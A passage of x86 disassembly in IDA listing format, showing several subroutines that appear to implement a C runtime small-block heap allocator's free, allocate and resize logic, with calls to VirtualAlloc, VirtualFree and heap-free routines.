		cmp	ecx, edi
		jz	short loc_419E02
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		cmp	edx, [ecx+8]
		jnz	short loc_419DEA
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_419DC6
		mov	edx, 80000000h
		shr	edx, cl
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+44h], edx
		dec	byte ptr [ecx]
		jnz	short loc_419DEA
		mov	ecx, [ebp+arg_0]
		and	[ecx], edx
		jmp	short loc_419DEA
; ---------------------------------------------------------------------------


loc_419DC6:				; CODE XREF: sub_419C82+126j
		add	ecx, 0FFFFFFE0h
		mov	edx, 80000000h
		shr	edx, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+0C4h], edx
		dec	byte ptr [ecx]
		jnz	short loc_419DEA
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edx


loc_419DEA:				; CODE XREF: sub_419C82+11Ej
					; sub_419C82+13Bj ...
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[edx+8], ecx


loc_419E02:				; CODE XREF: sub_419C82+113j
		mov	edx, [ebp+var_8]


loc_419E05:				; CODE XREF: sub_419C82+DDj
		cmp	[ebp+var_14], 0
		jnz	short loc_419E14
		cmp	[ebp+arg_4], edi
		jz	loc_419E9D


loc_419E14:				; CODE XREF: sub_419C82+187j
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_419E9D
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_419E71
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_419E60
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_419E60:				; CODE XREF: sub_419C82+1CEj
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		lea	eax, [eax+esi*4+44h]
		or	[eax], ebx
		jmp	short loc_419E9A
; ---------------------------------------------------------------------------


loc_419E71:				; CODE XREF: sub_419C82+1C8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_419E87
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_419E87:				; CODE XREF: sub_419C82+1F3j
		lea	ecx, [edi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		lea	eax, [eax+esi*4+0C4h]
		or	[eax], edi


loc_419E9A:				; CODE XREF: sub_419C82+1EDj
		mov	ebx, [ebp+var_C]


loc_419E9D:				; CODE XREF: sub_419C82+18Cj
					; sub_419C82+1B6j
		mov	eax, [ebp+var_10]
		mov	[edx], ebx
		mov	[ebx+edx-4], ebx
		dec	dword ptr [eax]
		jnz	loc_419FA8
		mov	eax, dword_516EB4
		test	eax, eax
		jz	loc_419F9A
		mov	ecx, dword_516EAC
		mov	edi, dword_4211A8
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	edi	; VirtualFree
		mov	ecx, dword_516EAC
		mov	eax, dword_516EB4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_516EB4
		mov	ecx, dword_516EAC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_516EB4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_516EB4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_419F28
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_516EB4


loc_419F28:				; CODE XREF: sub_419C82+29Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_419F9A
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	edi	; VirtualFree
		mov	eax, dword_516EB4
		push	dword ptr [eax+10h]
		push	0
		push	dword_516EC0
		nop
		call	near ptr 7C91043Dh
		mov	eax, dword_516EB8
		mov	edx, dword_516EBC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_516EB4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41D840
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_516EB8
		cmp	eax, dword_516EB4
		jbe	short loc_419F8C
		sub	eax, 14h


loc_419F8C:				; CODE XREF: sub_419C82+305j
		mov	ecx, dword_516EBC
		mov	dword_516EB0, ecx
		jmp	short loc_419F9D
; ---------------------------------------------------------------------------


loc_419F9A:				; CODE XREF: sub_419C82+233j
					; sub_419C82+2AAj
		mov	eax, [ebp+arg_0]


loc_419F9D:				; CODE XREF: sub_419C82+316j
		mov	dword_516EB4, eax
		mov	dword_516EAC, esi


loc_419FA8:				; CODE XREF: sub_419C82+226j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419C82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FAD	proc near		; CODE XREF: sub_417C2C+Ep
					; sub_418C3F+69p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_516EB8
		mov	edx, dword_516EBC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_419FED
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_419FFD
; ---------------------------------------------------------------------------


loc_419FED:				; CODE XREF: sub_419FAD+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_419FFD:				; CODE XREF: sub_419FAD+3Ej
		mov	eax, dword_516EB0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41A024


loc_41A00B:				; CODE XREF: sub_419FAD+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41A024
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41A00B


loc_41A024:				; CODE XREF: sub_419FAD+5Cj
					; sub_419FAD+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41A0A2
		mov	ebx, edx


loc_41A02B:				; CODE XREF: sub_419FAD+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41A047
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41A045
		add	ebx, 14h
		jmp	short loc_41A02B
; ---------------------------------------------------------------------------


loc_41A045:				; CODE XREF: sub_419FAD+91j
		cmp	ebx, eax


loc_41A047:				; CODE XREF: sub_419FAD+83j
		jnz	short loc_41A0A2


loc_41A049:				; CODE XREF: sub_419FAD+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41A05F
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41A05C
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41A049
; ---------------------------------------------------------------------------


loc_41A05C:				; CODE XREF: sub_419FAD+A5j
		cmp	ebx, [ebp+var_4]


loc_41A05F:				; CODE XREF: sub_419FAD+9Fj
		jnz	short loc_41A087
		mov	ebx, edx


loc_41A063:				; CODE XREF: sub_419FAD+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41A077
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41A075
		add	ebx, 14h
		jmp	short loc_41A063
; ---------------------------------------------------------------------------


loc_41A075:				; CODE XREF: sub_419FAD+C1j
		cmp	ebx, eax


loc_41A077:				; CODE XREF: sub_419FAD+BBj
		jnz	short loc_41A087
		call	sub_41A2B6
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41A09B


loc_41A087:				; CODE XREF: sub_419FAD:loc_41A05Fj
					; sub_419FAD:loc_41A077j
		push	ebx
		call	sub_41A367
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41A0A2


loc_41A09B:				; CODE XREF: sub_419FAD+D8j
		xor	eax, eax
		jmp	loc_41A2B1
; ---------------------------------------------------------------------------


loc_41A0A2:				; CODE XREF: sub_419FAD+7Aj
					; sub_419FAD:loc_41A047j ...
		mov	dword_516EB0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41A0C9
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41A100


loc_41A0C9:				; CODE XREF: sub_419FAD+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41A0FD


loc_41A0E6:				; CODE XREF: sub_419FAD+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41A0E6


loc_41A0FD:				; CODE XREF: sub_419FAD+137j
		mov	edx, [ebp+var_4]


loc_41A100:				; CODE XREF: sub_419FAD+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41A129
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41A129:				; CODE XREF: sub_419FAD+16Dj
					; sub_419FAD+183j
		test	ecx, ecx
		jl	short loc_41A132
		shl	ecx, 1
		inc	edi
		jmp	short loc_41A129
; ---------------------------------------------------------------------------


loc_41A132:				; CODE XREF: sub_419FAD+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41A14F
		push	3Fh
		pop	esi


loc_41A14F:				; CODE XREF: sub_419FAD+19Dj
		cmp	esi, edi
		jz	loc_41A264
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41A1C0
		cmp	edi, 20h
		jge	short loc_41A18F
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41A1BD
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41A1C0
; ---------------------------------------------------------------------------


loc_41A18F:				; CODE XREF: sub_419FAD+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41A1BD
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41A1C0
; ---------------------------------------------------------------------------


loc_41A1BD:				; CODE XREF: sub_419FAD+1D6j
					; sub_419FAD+203j
		mov	ebx, [ebp+arg_0]


loc_41A1C0:				; CODE XREF: sub_419FAD+1B0j
					; sub_419FAD+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41A270
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41A261
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41A232
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41A220
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41A220:				; CODE XREF: sub_419FAD+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41A261
; ---------------------------------------------------------------------------


loc_41A232:				; CODE XREF: sub_419FAD+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41A24B
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41A24B:				; CODE XREF: sub_419FAD+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41A261:				; CODE XREF: sub_419FAD+24Ej
					; sub_419FAD+283j
		mov	ecx, [ebp+var_8]


loc_41A264:				; CODE XREF: sub_419FAD+1A4j
		test	ecx, ecx
		jz	short loc_41A273
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41A273
; ---------------------------------------------------------------------------


loc_41A270:				; CODE XREF: sub_419FAD+229j
		mov	ecx, [ebp+var_8]


loc_41A273:				; CODE XREF: sub_419FAD+2B9j
					; sub_419FAD+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41A2A9
		cmp	ebx, dword_516EB4
		jnz	short loc_41A2A9
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_516EAC
		jnz	short loc_41A2A9
		and	dword_516EB4, 0


loc_41A2A9:				; CODE XREF: sub_419FAD+2E0j
					; sub_419FAD+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41A2B1:				; CODE XREF: sub_419FAD+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419FAD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A2B6	proc near		; CODE XREF: sub_419FAD+CCp
		mov	eax, dword_516EB8
		mov	ecx, dword_516EA8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41A2F9
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_516EBC
		push	edi
		push	dword_516EC0
		nop
		call	near ptr 7C9179FDh
		cmp	eax, edi
		jz	short loc_41A349
		add	dword_516EA8, 10h
		mov	dword_516EBC, eax
		mov	eax, dword_516EB8


loc_41A2F9:				; CODE XREF: sub_41A2B6+11j
		mov	ecx, dword_516EBC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_516EC0
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 7C9105D4h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41A349
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 7C809A51h
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41A34D
		push	dword ptr [esi+10h]
		push	edi
		push	dword_516EC0
		nop
		call	near ptr 7C91043Dh


loc_41A349:				; CODE XREF: sub_41A2B6+30j
					; sub_41A2B6+67j
		xor	eax, eax
		jmp	short loc_41A364
; ---------------------------------------------------------------------------


loc_41A34D:				; CODE XREF: sub_41A2B6+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_516EB8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41A364:				; CODE XREF: sub_41A2B6+95j
		pop	edi
		pop	esi
		retn
sub_41A2B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A367	proc near		; CODE XREF: sub_419FAD+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41A379:				; CODE XREF: sub_41A367+19j
		test	eax, eax
		jl	short loc_41A382
		shl	eax, 1
		inc	ebx
		jmp	short loc_41A379
; ---------------------------------------------------------------------------


loc_41A382:				; CODE XREF: sub_41A367+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41A397:				; CODE XREF: sub_41A367+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41A397
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		nop
		call	near ptr 7C809A51h
		test	eax, eax
		jnz	short loc_41A3CA
		or	eax, 0FFFFFFFFh
		jmp	loc_41A45D
; ---------------------------------------------------------------------------


loc_41A3CA:				; CODE XREF: sub_41A367+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41A410
		lea	eax, [edi+10h]


loc_41A3D7:				; CODE XREF: sub_41A367+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41A3D7


loc_41A410:				; CODE XREF: sub_41A367+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41A44D
		or	[eax+4], edi


loc_41A44D:				; CODE XREF: sub_41A367+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41A45D:				; CODE XREF: sub_41A367+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A367	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A462	proc near		; CODE XREF: sub_418C3F+58p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41A610
		test	bl, 1
		jnz	loc_41A609
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41A609
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41A4D9
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41A4D9:				; CODE XREF: sub_41A462+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41A529
		cmp	ecx, 20h
		jnb	short loc_41A505
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41A529
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41A529
; ---------------------------------------------------------------------------


loc_41A505:				; CODE XREF: sub_41A462+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41A529
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41A529:				; CODE XREF: sub_41A462+7Dj
					; sub_41A462+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41A5F7
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41A563
		push	3Fh
		pop	edi


loc_41A563:				; CODE XREF: sub_41A462+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41A5E5
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41A5BC
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41A5AF
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41A5AF:				; CODE XREF: sub_41A462+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41A5E1
; ---------------------------------------------------------------------------


loc_41A5BC:				; CODE XREF: sub_41A462+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41A5D2
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41A5D2:				; CODE XREF: sub_41A462+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41A5E1:				; CODE XREF: sub_41A462+158j
		shr	edx, cl
		or	[eax], edx


loc_41A5E5:				; CODE XREF: sub_41A462+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41A5FA
; ---------------------------------------------------------------------------


loc_41A5F7:				; CODE XREF: sub_41A462+E5j
		mov	edx, [ebp+arg_4]


loc_41A5FA:				; CODE XREF: sub_41A462+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41A750
; ---------------------------------------------------------------------------


loc_41A609:				; CODE XREF: sub_41A462+52j
					; sub_41A462+5Cj
		xor	eax, eax
		jmp	loc_41A753
; ---------------------------------------------------------------------------


loc_41A610:				; CODE XREF: sub_41A462+49j
		jge	loc_41A750
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41A63B
		push	3Fh
		pop	esi


loc_41A63B:				; CODE XREF: sub_41A462+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41A6CA
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41A654
		push	3Fh
		pop	esi


loc_41A654:				; CODE XREF: sub_41A462+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41A6A3
		cmp	esi, 20h
		jnb	short loc_41A67F
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41A6A0
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41A6A0
; ---------------------------------------------------------------------------


loc_41A67F:				; CODE XREF: sub_41A462+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41A6A0
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41A6A0:				; CODE XREF: sub_41A462+214j
					; sub_41A462+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41A6A3:				; CODE XREF: sub_41A462+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41A6CA
		push	3Fh
		pop	esi


loc_41A6CA:				; CODE XREF: sub_41A462+1DDj
					; sub_41A462+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41A747
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41A71E
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41A711
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41A711:				; CODE XREF: sub_41A462+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41A743
; ---------------------------------------------------------------------------


loc_41A71E:				; CODE XREF: sub_41A462+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41A734
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


